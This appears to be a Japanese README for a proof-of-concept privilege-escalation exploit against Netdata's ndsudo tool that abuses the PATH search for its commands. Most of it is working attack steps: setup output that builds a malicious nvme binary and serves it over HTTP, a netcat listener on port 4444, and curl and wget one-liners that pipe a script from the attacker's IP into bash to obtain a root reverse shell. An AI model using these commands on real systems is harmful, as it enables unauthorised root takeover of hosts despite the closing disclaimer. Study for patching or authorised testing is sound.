
「ndsudo」を利用した権限昇格のためのBashスクリプト(Netdata Local Exploit)
>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169
「ndsudo」ツールは外部コマンドの限定されたセットを実行しますが、検索パスは「PATH」環境変数によって提供されます。
「PATH」環境変数をアクセス可能なパスに変更することで、ndsudoがコマンドを検索する場所を制御し、悪意のあるコードを含むコマンドを作成できます。
このエクスプロイトは、対象マシンと攻撃者マシンが同じネットワーク上にあるという前提に基づいています。
「setup_exploit_server.sh」を実行することで、攻撃に必要なファイルを自動的に生成および展開できます。
$ ./setup_exploit_server.sh YOUR_IP
--------- Exploit Infrastructure Setup by Ottanta ---------
[+] Using server IP: YOUR_IP
[+] Creating exploit directory: /tmp/exploit
[+] Creating ndsudo_pe.sh script file...
[+] Creating nvme.c exploit file...
[+] Compiling nvme binary...
[+] nvme binary compiled successfully
[+] Starting web server on port 80...
[+] Web server started with PID: 9350
[+] nvme binary is available at: http://YOUR_IP/nvme
[!] Now run the privilege escalation exploit in the victim terminal
[!] Make sure to start listener: nc -nlvp 4444
Press Enter to stop the web server and clean up...
このスクリプトは、あなたのIPアドレスで設定された攻撃に必要なすべてのファイルを作成します。
Webサーバーを展開した後、別のシェルでリスナーを起動します:
# We start a listener with Netcat, but you can use anything else
$ nc -nlvp 4444
listening on [any] 4444 ...
HTTPクライアントに応じて、エクスプロイトをダウンロードして実行できます。
# If we have curl
$ curl -L http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP
# If we have wget
$ wget -qO- http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP
すべてが正しく行われた場合、ルートシェルが取得できているはずです。

この概念実証は、教育および許可されたテスト目的のみのためのものです。
所有していない、または明示的なテスト許可を得ていないシステムに対する未承認の使用は違法です。
著者は、この情報の誤用について一切責任を負いません。